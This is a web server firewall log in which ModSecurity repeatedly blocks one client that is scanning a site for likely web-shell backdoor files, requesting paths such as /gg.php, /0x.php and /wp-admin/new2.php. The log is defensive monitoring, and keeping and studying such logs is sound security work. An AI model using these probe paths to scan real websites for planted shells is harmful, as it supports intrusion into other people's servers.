[Wed Jan 07 01:49:18.415415 2026] [:error] [pid 45012:tid 45027] [client 20.239.71.136:3130] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aV1LHhaMAxCuju1d0uZnYAAAAM0"]
[Wed Jan 07 01:49:20.242431 2026] [:error] [pid 45012:tid 45035] [client 20.239.71.136:42879] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aV1LIBaMAxCuju1d0uZnZgAAANU"]
[Wed Jan 07 01:49:22.709685 2026] [:error] [pid 44904:tid 44942] [client 20.239.71.136:30160] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aV1LIjtieuI1BJEZcveLAQAAAEE"]
[Wed Jan 07 01:49:24.495008 2026] [:error] [pid 45959:tid 45968] [client 20.239.71.136:24530] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aV1LJFajdn8P3hjgMYxgHQAAAUY"]
[Wed Jan 07 01:49:25.797544 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:3288] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV1LJVajdn8P3hjgMYxgIAAAAU4"]
[Wed Jan 07 01:49:27.498779 2026] [:error] [pid 45012:tid 45038] [client 20.239.71.136:25121] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV1LJxaMAxCuju1d0uZnfQAAANg"]
[Wed Jan 07 01:49:28.239722 2026] [:error] [pid 45959:tid 45966] [client 20.239.71.136:25117] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV1LKFajdn8P3hjgMYxgKQAAAUQ"]
[Wed Jan 07 01:49:29.866282 2026] [:error] [pid 44903:tid 44910] [client 20.239.71.136:3257] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV1LKdhHqjs38zbkQPBwHQAAAAM"]
[Wed Jan 07 01:49:31.102971 2026] [:error] [pid 44903:tid 44922] [client 20.239.71.136:51847] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aV1LK9hHqjs38zbkQPBwIQAAAA8"]
[Wed Jan 07 01:49:32.509297 2026] [:error] [pid 44903:tid 44932] [client 20.239.71.136:30183] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aV1LLNhHqjs38zbkQPBwIwAAABc"]
[Wed Jan 07 01:49:34.390707 2026] [:error] [pid 44903:tid 44911] [client 20.239.71.136:23342] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aV1LLthHqjs38zbkQPBwKAAAAAQ"]
[Wed Jan 07 01:49:37.460177 2026] [:error] [pid 45959:tid 45975] [client 20.239.71.136:45524] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aV1LMVajdn8P3hjgMYxgNgAAAU0"]
[Wed Jan 07 01:51:09.978246 2026] [:error] [pid 35140:tid 35149] [client 20.239.71.136:23726] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aV1LjXoQaIDFMbT-XMwmgAAAAQc"]
[Wed Jan 07 01:51:11.302740 2026] [:error] [pid 45959:tid 45970] [client 20.239.71.136:22979] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aV1Lj1ajdn8P3hjgMYxhEAAAAUg"]
[Wed Jan 07 01:51:12.317724 2026] [:error] [pid 44903:tid 44920] [client 20.239.71.136:11392] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aV1LkNhHqjs38zbkQPBwigAAAA0"]
[Wed Jan 07 01:51:12.725099 2026] [:error] [pid 44905:tid 44978] [client 20.239.71.136:23720] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aV1LkLu7ufwWVst9EAtCTwAAAIo"]
[Wed Jan 07 01:51:13.289503 2026] [:error] [pid 45959:tid 45984] [client 20.239.71.136:41309] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV1LkVajdn8P3hjgMYxhFgAAAVY"]
[Wed Jan 07 01:51:14.784071 2026] [:error] [pid 44904:tid 44954] [client 20.239.71.136:1282] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV1LkjtieuI1BJEZcveLfAAAAE0"]
[Wed Jan 07 01:51:15.850545 2026] [:error] [pid 45012:tid 45016] [client 20.239.71.136:46687] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV1LkxaMAxCuju1d0uZoGQAAAMI"]
[Wed Jan 07 01:51:16.584283 2026] [:error] [pid 45959:tid 45962] [client 20.239.71.136:1030] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aV1LlFajdn8P3hjgMYxhJAAAAUA"]
[Wed Jan 07 01:51:17.463980 2026] [:error] [pid 45959:tid 45986] [client 20.239.71.136:11424] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/user.php"] [unique_id "aV1LlVajdn8P3hjgMYxhJwAAAVg"]
[Wed Jan 07 01:51:18.069146 2026] [:error] [pid 44905:tid 44976] [client 20.239.71.136:23696] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/user.php"] [unique_id "aV1Llru7ufwWVst9EAtCVwAAAIg"]
[Wed Jan 07 01:51:18.942656 2026] [:error] [pid 44905:tid 44981] [client 20.239.71.136:40887] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/user.php"] [unique_id "aV1Llru7ufwWVst9EAtCWAAAAI0"]
[Wed Jan 07 01:51:19.353776 2026] [:error] [pid 45959:tid 45967] [client 20.239.71.136:1040] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/user.php"] [unique_id "aV1Ll1ajdn8P3hjgMYxhLAAAAUU"]
[Wed Jan 07 01:51:20.238791 2026] [:error] [pid 44904:tid 44962] [client 20.239.71.136:11874] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aV1LmDtieuI1BJEZcveLggAAAFU"]
[Wed Jan 07 01:51:21.649811 2026] [:error] [pid 45959:tid 45981] [client 20.239.71.136:46681] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aV1LmVajdn8P3hjgMYxhLwAAAVM"]
[Wed Jan 07 01:51:22.227706 2026] [:error] [pid 45959:tid 45970] [client 20.239.71.136:53124] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aV1Lmlajdn8P3hjgMYxhMQAAAUg"]
[Wed Jan 07 01:51:23.426692 2026] [:error] [pid 45959:tid 45962] [client 20.239.71.136:23814] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aV1Lm1ajdn8P3hjgMYxhNQAAAUA"]
[Wed Jan 07 01:51:25.374841 2026] [:error] [pid 44904:tid 44955] [client 20.239.71.136:11861] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buy.php"] [unique_id "aV1LnTtieuI1BJEZcveLiwAAAE4"]
[Wed Jan 07 01:51:26.009638 2026] [:error] [pid 45959:tid 45963] [client 20.239.71.136:23869] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buy.php"] [unique_id "aV1Lnlajdn8P3hjgMYxhOgAAAUE"]
[Wed Jan 07 01:51:26.635344 2026] [:error] [pid 35140:tid 35149] [client 20.239.71.136:1057] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buy.php"] [unique_id "aV1LnnoQaIDFMbT-XMwmkQAAAQc"]
[Wed Jan 07 01:51:27.502147 2026] [:error] [pid 44905:tid 44989] [client 20.239.71.136:1779] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buy.php"] [unique_id "aV1Ln7u7ufwWVst9EAtCYgAAAJU"]
[Wed Jan 07 01:51:29.138909 2026] [:error] [pid 44903:tid 44919] [client 20.239.71.136:40855] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aV1LodhHqjs38zbkQPBwoAAAAAw"]
[Wed Jan 07 01:51:30.377677 2026] [:error] [pid 44905:tid 44986] [client 20.239.71.136:11434] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aV1Loru7ufwWVst9EAtCZgAAAJI"]
[Wed Jan 07 01:51:31.055764 2026] [:error] [pid 44905:tid 44976] [client 20.239.71.136:1790] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aV1Lo7u7ufwWVst9EAtCZwAAAIg"]
[Wed Jan 07 01:51:31.854064 2026] [:error] [pid 45012:tid 45020] [client 20.239.71.136:18115] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aV1LoxaMAxCuju1d0uZoNAAAAMY"]
[Wed Jan 07 01:51:33.143790 2026] [:error] [pid 45012:tid 45030] [client 20.239.71.136:18152] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-sign.php"] [unique_id "aV1LpRaMAxCuju1d0uZoOQAAANA"]
[Wed Jan 07 01:51:33.581251 2026] [:error] [pid 35140:tid 35155] [client 20.239.71.136:18165] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-sign.php"] [unique_id "aV1LpXoQaIDFMbT-XMwmmgAAAQ0"]
[Wed Jan 07 01:51:34.082046 2026] [:error] [pid 44905:tid 44977] [client 20.239.71.136:11608] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-sign.php"] [unique_id "aV1Lpru7ufwWVst9EAtCagAAAIk"]
[Wed Jan 07 01:51:35.040785 2026] [:error] [pid 44903:tid 44918] [client 20.239.71.136:18128] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-sign.php"] [unique_id "aV1Lp9hHqjs38zbkQPBwqgAAAAs"]
[Wed Jan 07 01:51:36.181457 2026] [:error] [pid 44904:tid 44955] [client 20.239.71.136:1728] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ppp.php"] [unique_id "aV1LqDtieuI1BJEZcveLnwAAAE4"]
[Wed Jan 07 01:51:36.885612 2026] [:error] [pid 44904:tid 44941] [client 20.239.71.136:11592] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ppp.php"] [unique_id "aV1LqDtieuI1BJEZcveLoAAAAEA"]
[Wed Jan 07 01:51:37.755730 2026] [:error] [pid 35140:tid 35165] [client 20.239.71.136:46682] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ppp.php"] [unique_id "aV1LqXoQaIDFMbT-XMwmpAAAARc"]
[Wed Jan 07 01:51:38.587320 2026] [:error] [pid 45959:tid 45978] [client 20.239.71.136:18166] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ppp.php"] [unique_id "aV1Lqlajdn8P3hjgMYxhSwAAAVA"]
[Wed Jan 07 01:51:38.951571 2026] [:error] [pid 45959:tid 45962] [client 20.239.71.136:1066] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aV1Lqlajdn8P3hjgMYxhTAAAAUA"]
[Wed Jan 07 01:51:39.867564 2026] [:error] [pid 44904:tid 44942] [client 20.239.71.136:22994] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aV1LqztieuI1BJEZcveLowAAAEE"]
[Wed Jan 07 01:51:40.703897 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:11876] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aV1LrFajdn8P3hjgMYxhVAAAAU4"]
[Wed Jan 07 01:51:41.392903 2026] [:error] [pid 35140:tid 35162] [client 20.239.71.136:46694] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aV1LrXoQaIDFMbT-XMwmrAAAARQ"]
[Wed Jan 07 01:51:41.940913 2026] [:error] [pid 45959:tid 45985] [client 20.239.71.136:18048] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aV1LrVajdn8P3hjgMYxhWAAAAVc"]
[Wed Jan 07 01:51:42.444375 2026] [:error] [pid 44903:tid 44922] [client 20.239.71.136:40884] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aV1LrthHqjs38zbkQPBwtwAAAA8"]
[Wed Jan 07 01:51:42.991813 2026] [:error] [pid 44903:tid 44930] [client 20.239.71.136:18153] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aV1LrthHqjs38zbkQPBwuAAAABY"]
[Wed Jan 07 01:51:44.276099 2026] [:error] [pid 35140:tid 35147] [client 20.239.71.136:11414] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aV1LsHoQaIDFMbT-XMwmtAAAAQU"]
[Wed Jan 07 01:51:44.830793 2026] [:error] [pid 44905:tid 44969] [client 20.239.71.136:18151] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aV1LsLu7ufwWVst9EAtCeQAAAIE"]
[Wed Jan 07 01:51:45.800799 2026] [:error] [pid 44905:tid 44992] [client 20.239.71.136:11900] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aV1Lsbu7ufwWVst9EAtCewAAAJg"]
[Wed Jan 07 01:51:46.613644 2026] [:error] [pid 45959:tid 45966] [client 20.239.71.136:1759] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aV1Lslajdn8P3hjgMYxhYAAAAUQ"]
[Wed Jan 07 01:51:47.111510 2026] [:error] [pid 35140:tid 35144] [client 20.239.71.136:18116] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aV1Ls3oQaIDFMbT-XMwmvgAAAQI"]
